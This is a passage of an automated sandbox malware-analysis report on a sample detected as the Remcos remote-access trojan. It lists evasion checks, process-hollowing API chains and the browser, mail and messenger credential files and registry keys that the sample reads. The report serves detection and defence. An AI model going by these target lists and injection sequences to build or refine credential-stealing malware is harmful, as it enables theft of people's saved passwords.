                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041BEEE LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BEEE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                        Malware Analysis System Evasion

                        barindex
                        Delayed program exit found
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040E627 Sleep,ExitProcess,0_2_0040E627
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,3_2_0040DD85
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,0_2_00419AB8
                        Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeEvasive API call chain: GetModuleFileName,DecisionNodes,Sleepgraph_0-52704
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeAPI coverage: 10.0 %
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_0040B335
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,0_2_0040B53A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041B63A FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_0041B63A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0044D7F9 FindFirstFileExA,0_2_0044D7F9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,0_2_004089A9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406AC2 FindFirstFileW,FindNextFileW,0_2_00406AC2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_00407A8C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,0_2_00408DA7
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00418E5F FindFirstFileW,FindNextFileW,FindNextFileW,0_2_00418E5F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_100010F1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10006580 FindFirstFileExA,0_2_10006580
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040AE51 FindFirstFileW,FindNextFileW,3_2_0040AE51
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,4_2_00407EF8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,5_2_00407898
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,0_2_00406F06
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00418981 memset,GetSystemInfo,3_2_00418981
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1349262886.000000000323F000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1421583698.000000000323F000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                        Source: bhvBC0F.tmp.3.drBinary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeAPI call chain: ExitProcess graph end nodegraph_0-54293
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeAPI call chain: ExitProcess graph end node
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess information queried: ProcessInformationJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043A86D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0043A86D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,3_2_0040DD85
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041BEEE LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BEEE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00442764 mov eax, dword ptr fs:[00000030h]0_2_00442764
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10004AB4 mov eax, dword ptr fs:[00000030h]0_2_10004AB4
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00410BF1 GetNativeSystemInfo,GetProcessHeap,HeapAlloc,SetLastError,SetLastError,0_2_00410BF1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess token adjusted: DebugJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00434378 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00434378
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043A86D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0043A86D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00433D4F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00433D4F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00433EE2 SetUnhandledExceptionFilter,0_2_00433EE2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_100060E2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_10002639
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10002B1C

                        HIPS / PFW / Operating System Protection Evasion

                        barindex
                        Contains functionality to inject code into remote processes
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041742B GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,0_2_0041742B
                        Maps a DLL or memory area into another process
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: NULL target: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe protection: execute and read and writeJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: NULL target: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe protection: execute and read and writeJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: NULL target: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe protection: execute and read and writeJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe0_2_0041100E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041894A mouse_event,0_2_0041894A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\qxczkdlwbpxfphwlhdzbevcnbfmmhv"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\brikkvwyoxpsrokpqoucoiwwktwnigvpl"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\dtvcl"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" Jump to behavior
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager1a11324F*
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, logs.dat.0.drBinary or memory string: [Program Manager]
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00434015 cpuid 0_2_00434015
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoA,0_2_0040E751
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,0_2_0045107A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoW,0_2_004512CA
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: EnumSystemLocalesW,0_2_004472BE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_004513F3
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoW,0_2_004514FA
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_004515C7
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: GetLocaleInfoW,0_2_004477A7
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,0_2_00450C8F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: EnumSystemLocalesW,0_2_00450F52
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: EnumSystemLocalesW,0_2_00450F07
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: EnumSystemLocalesW,0_2_00450FED
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeQueries volume information: C:\ VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00404915 GetLocalTime,CreateEventA,CreateThread,0_2_00404915
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041A9AD GetComputerNameExW,GetUserNameW,0_2_0041A9AD
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0044804A _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,0_2_0044804A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0041739B GetVersionExW,3_2_0041739B
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                        Stealing of Sensitive Information

                        barindex
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        Contains functionality to steal Chrome passwords or cookies
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data0_2_0040B21B
                        Contains functionality to steal Firefox passwords or cookies
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\0_2_0040B335
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: \key3.db0_2_0040B335
                        Tries to harvest and steal browser information (history, passwords, etc)
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.dbJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqliteJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                        Tries to steal Instant Messenger accounts or passwords
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\PaltalkJump to behavior
                        Tries to steal Mail credentials (via file / registry access)
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
                        Tries to steal Mail credentials (via file registry)
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: ESMTPPassword4_2_004033F0
